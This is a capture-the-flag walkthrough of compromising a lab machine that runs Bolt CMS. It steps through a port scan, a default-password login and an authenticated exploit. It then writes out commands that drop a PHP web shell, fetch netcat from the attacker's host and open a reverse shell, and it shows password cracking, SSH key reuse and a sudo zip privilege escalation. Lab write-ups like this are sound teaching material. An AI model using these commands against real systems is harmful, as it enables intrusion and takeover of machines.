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Walkthrough
nmap-scan 

Open ports


PORT     STATE SERVICE    REASON         VERSION
22/tcp   open  ssh        syn-ack ttl 63 OpenSSH 6.7p1 Debian 
5+deb8u8 (protocol 2.0)
80/tcp   open  http       syn-ack ttl 63 nginx 1.6.2
111/tcp  open  rpcbind    syn-ack ttl 63 2-4 (RPC #100000)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
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Website 
So port 80 is our first choice for further research:
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It is a CMS powered by Bolt:




earch on exploit-db reveals that there is an exploit for the most recent version 3.7.0:

https://www.exploit-db.com/exploits/48296





https://www.exploit-db.com/exploits/48296
https://www.exploit-db.com/exploits/48296
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This is an authenticated exploit, so we first need to find a valid account.


Bolt has a dashboard available at /bolt/ :
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Revshell 
We try a few obvious ones, admin / admin and admin / password. The last one works:
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With this account we can try the exploit:





It will give us a command prompt that we can use to execute commands on the system:




id:
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uname -a:





pwd:





We can even use this to echo a minimal php shell into the directory for easier access:





We can use this to upload a netcat reverse shell on the system and get a reverse shell like this:


First start a simple web server to serve some files, make sure the files you want to serve are in the 
local directory:




This will listen on port 8000 on you local machine


Using the c.php file we just dropped, we can browse to http://192.168.16.27/files/cmd.php?c=wget 
http://10.212.134.200:8000/nc to

download a linux netcat to the server, you will see in your web server if it has been retrieved:




This file is dropped in the same directory as our c.php. We make this nc executable like this:


 http://192.168.16.27/files/cmd.php?c=chmod 755 nc 


Now start a netcat listener on your own machine, listening on a free port (I choose 4444) and then 
run it as a reverse shell like this:


http://192.168.16.27/files/cmd.php?c=./nc -e /bin/bash 
10.212.134.200 4444

http://192.168.16.27/files/cmd.php?c=wget
http://10.212.134.200:8000/nc
http://192.168.16.27/files/cmd.php?c=chmod
http://192.168.16.27/files/cmd.php?c=wget
http://10.212.134.200:8000/nc
http://192.168.16.27/files/cmd.php?c=chmod
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If all goes well, you will see a connection coming in from the bolt server:

(Don’t forget to do the python pty dance, to make sure you have a shell with PTY’s allocated, 

some commands, especially sudo, require a PTY shell to run)


ncat -nv -l -p 4444
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.16.27.
Ncat: Connection from 192.168.16.27:60767.

python -c 'import pty;pty.spawn("/bin/bash")'
www-data@Erit:/var/www/html/public/files$
python -c import pty;pty.spawn("/bin/bash")

www-data@Erit:/var/www/html/public/files$ ifconfig

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.100.100  netmask 255.255.255.0  broadcast 
192.168.100.255
        ether 02:42:c0:a8:64:64  txqueuelen 0  (Ethernet)
        RX packets 5390  bytes 773960 (755.8 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 4332  bytes 13542724 (12.9 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 
0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 0  (Local Loopback)
        RX packets 28  bytes 2214 (2.1 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 28  bytes 2214 (2.1 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 
0

www-data@Erit:/var/www/html/public/files$
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In the app/database directory you will find the bolt.db SQLite3 database:

www-data@Erit:/var/www/html/app/database$ file bolt.db
file bolt.db
bolt.db: SQLite 3.x database, last written using SQLite version 
3020001
This contains a lot of tables:

sqlite> .tables
.tables
bolt_authtoken          bolt_field_value        bolt_pages
bolt_blocks             bolt_homepage           bolt_relations
bolt_content_changelog  bolt_log                bolt_showcases
bolt_cron               bolt_log_change         bolt_taxonomy
bolt_entries            bolt_log_system         bolt_users

We’re interested in the bolt_users table:





We see two users, the admin we already own, the other one is a wild one. We also see another IP 
address, 192.168.100.1 (note to self)


The password is cracked using hashcat and the rockyou.txt password list:




Which will yield the password:





We can now try to elevate privileges to the wildone user. Looking in /home, there is no wildone user, 
but wileec (and since we’re on a roll, we just try that account), and win!




And we have our first flag:
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And this account has more goodies:
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An unencrypted ssh key!


Remember the other IP address? We could try to connect to that one, using the SSH key


We are really on roll now, we get access to the other system using the SSH key:





One of the first things you should always try is to see if you can run commands through sudo without 
a password:




Apparently, we may use the zip command, as user jsmith. This is interesting… what can we do with 
zip?


If you look at gtfobins (https://gtfobins.github.io/) we can see how we may leverage zip:





https://gtfobins.github.io/
https://gtfobins.github.io/
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This might work, it spawns a shell under the new user, and lo and behold: it works:


$ TF=$(mktemp -u)
TF=$(mktemp -u)
$ sudo -u jsmith /usr/bin/zip $TF /etc/hosts -T -TT 'sh #'
sudo -u jsmith /usr/bin/zip $TF /etc/hosts -T -TT 'sh #'
  adding: etc/hosts (deflated 32%)
$ id
id
uid=1003(jsmith) gid=1003(jsmith) groups=1003(jsmith)

And we’re mr or mrs Smith (and admit, who does not want to be a Mr. or Mrs. Smith once in their 
life?), as an extra reward, there is

another flag there:








So, the final step is to escalate to root. Again, we check our sudo rights:





Nice!


This gives us root access via sudo -s and we have found the root flag:





And this completes the machine.


We hope you enjoy pwning it as much as we enjoyed building it


@4nqr34z and @theart42
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